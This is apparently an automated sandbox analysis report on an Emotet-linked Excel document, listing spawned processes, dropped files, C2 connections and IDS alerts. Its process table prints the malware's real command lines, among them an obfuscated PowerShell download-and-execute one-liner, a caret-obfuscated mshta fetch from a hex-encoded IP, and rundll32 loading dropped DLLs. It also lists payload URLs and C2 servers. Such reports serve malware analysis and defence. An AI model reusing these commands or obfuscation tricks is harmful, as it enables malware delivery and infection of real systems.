| File name: | ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls |
| Full analysis: | https://app.any.run/tasks/fcc034de-6509-497e-ac00-f2b5e020253f |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 24, 2022, 18:26:17 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 20 19:00:43 2022, Last Saved Time/Date: Thu Jan 20 19:07:37 2022, Security: 0 |
| MD5: | 3F7F1F6050609317474B8F48EFA00E88 |
| SHA1: | C95BFBC3794A4371D3B5A6702052D662DEE19A15 |
| SHA256: | ADE5C2C45C5BBAE939364326AE43A74C8B0C93307B7C653B12B80CBE8E891B70 |
| SSDEEP: | 1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3268)
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 3268)
Executes PowerShell scripts
- mshta.exe (PID: 2400)
Loads dropped or rewritten executable
- SearchProtocolHost.exe (PID: 2232)
- rundll32.exe (PID: 2404)
- rundll32.exe (PID: 1872)
- rundll32.exe (PID: 956)
- rundll32.exe (PID: 2916)
Connects to CnC server
- rundll32.exe (PID: 2916)
SUSPICIOUS
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 3420)
Reads Microsoft Outlook installation path
- mshta.exe (PID: 2400)
Reads default file associations for system extensions
- SearchProtocolHost.exe (PID: 2232)
- EXCEL.EXE (PID: 3268)
Checks supported languages
- cmd.exe (PID: 3420)
- mshta.exe (PID: 2400)
- powershell.exe (PID: 1068)
- cmd.exe (PID: 2836)
Reads the computer name
- powershell.exe (PID: 1068)
- mshta.exe (PID: 2400)
Reads Environment values
- powershell.exe (PID: 1068)
Executable content was dropped or overwritten
- powershell.exe (PID: 1068)
- rundll32.exe (PID: 2404)
Drops a file with a compile date too recent
- powershell.exe (PID: 1068)
- rundll32.exe (PID: 2404)
Uses RUNDLL32.EXE to load library
- rundll32.exe (PID: 1872)
- cmd.exe (PID: 2836)
- rundll32.exe (PID: 2404)
- rundll32.exe (PID: 956)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 1068)
Starts itself from another location
- rundll32.exe (PID: 1872)
Application launched itself
- rundll32.exe (PID: 2404)
- rundll32.exe (PID: 956)
INFO
Reads the computer name
- EXCEL.EXE (PID: 3268)
- rundll32.exe (PID: 2404)
- rundll32.exe (PID: 2916)
Checks supported languages
- EXCEL.EXE (PID: 3268)
- rundll32.exe (PID: 1872)
- rundll32.exe (PID: 956)
- rundll32.exe (PID: 2404)
- rundll32.exe (PID: 2916)
Creates files in the user directory
- EXCEL.EXE (PID: 3268)
Reads internet explorer settings
- mshta.exe (PID: 2400)
Checks Windows Trust Settings
- powershell.exe (PID: 1068)
- rundll32.exe (PID: 2916)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3268)
Reads settings of System Certificates
- rundll32.exe (PID: 2916)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
|---|
EXIF
FlashPix
| HeadingPairs: |
|
|---|---|
| TitleOfParts: |
|
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| Company: | - |
| CodePage: | Windows Cyrillic |
| Security: | None |
| ModifyDate: | 2022:01:20 19:07:37 |
| CreateDate: | 2022:01:20 19:00:43 |
| Software: | Microsoft Excel |
| LastModifiedBy: | xXx |
| Author: | xXx |
Total processes
51
Monitored processes
10
Malicious processes
6
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 956 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Jbmxv\njuspnmjpxttbj.otl",DSlsFsFnAkM | C:\Windows\system32\rundll32.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1068 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1872 | C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\SysWow64\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2232 | "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" | C:\Windows\system32\SearchProtocolHost.exe | — | SearchIndexer.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft Windows Search Protocol Host Exit code: 0 Version: 7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211) Modules
| |||||||||||||||
| 2400 | mshta http://0xb907d607/fer/fe2.html | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2404 | C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2836 | "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2916 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Jbmxv\njuspnmjpxttbj.otl",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3268 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3420 | cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html | C:\Windows\system32\cmd.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
9 449
Read events
9 200
Write events
219
Delete events
30
Modification events
| (PID) Process: | (2232) SearchProtocolHost.exe | Key: | HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached |
| Operation: | write | Name: | {97E467B4-98C6-4F19-9588-161B7773D6F6} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF |
Value: 0100000000000000185AC0E24F11D801 | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | (= |
Value: 7F283D00C40C0000010000000000000000000000 | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (3268) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
Executable files
2
Suspicious files
14
Text files
1
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3268 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRE86F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3268 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | ini | |
MD5:— | SHA256:— | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:— | SHA256:— | |||
| 3268 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2404 | rundll32.exe | C:\Users\admin\AppData\Local\Jbmxv\njuspnmjpxttbj.otl | executable | |
MD5:— | SHA256:— | |||
| 2400 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\fe2[1].htm | binary | |
MD5:— | SHA256:— | |||
| 1068 | powershell.exe | C:\Users\admin\AppData\Local\Temp\z5ey1gep.sbm.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1068 | powershell.exe | C:\Users\Public\Documents\ssd.dll | executable | |
MD5:— | SHA256:— | |||
| 2916 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | binary | |
MD5:— | SHA256:— | |||
| 3268 | EXCEL.EXE | C:\Users\admin\Desktop\27151000 | document | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
75
DNS requests
3
Threats
30
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2400 | mshta.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.html | FR | binary | 10.8 Kb | malicious |
1068 | powershell.exe | GET | 200 | 172.67.153.105:80 | http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTk/ | US | executable | 612 Kb | suspicious |
1068 | powershell.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.png | FR | text | 1011 b | malicious |
2916 | rundll32.exe | GET | 200 | 23.32.238.232:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?836c1217a36508b9 | US | compressed | 4.70 Kb | whitelisted |
2916 | rundll32.exe | GET | 200 | 23.32.238.232:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?a1072ba532baccbd | US | compressed | 59.9 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2916 | rundll32.exe | 212.237.17.99:8080 | — | Aruba S.p.A. | IT | malicious |
2916 | rundll32.exe | 79.172.212.216:8080 | — | SzerverPlex.hu KFT. | HU | malicious |
2916 | rundll32.exe | 104.168.155.129:8080 | — | Hostwinds LLC. | US | malicious |
2916 | rundll32.exe | 207.38.84.195:8080 | — | server4you Inc. | US | malicious |
2916 | rundll32.exe | 178.79.147.66:8080 | — | Linode, LLC | GB | malicious |
2400 | mshta.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
1068 | powershell.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
1068 | powershell.exe | 172.67.153.105:80 | hindimedia.in | — | US | suspicious |
2916 | rundll32.exe | 23.32.238.232:80 | ctldl.windowsupdate.com | XO Communications | US | unknown |
2916 | rundll32.exe | 131.100.24.231:80 | — | GOPLEX TELECOMUNICACOES E INTERNET LTDA - ME | BR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
hindimedia.in |
| suspicious |
ctldl.windowsupdate.com |
| whitelisted |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1068 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1068 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1068 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2916 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 5 |
2916 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 14 |
2916 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 3 |
2916 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 19 |
2916 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 9 |
2916 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 18 |
21 ETPRO signatures available at the full report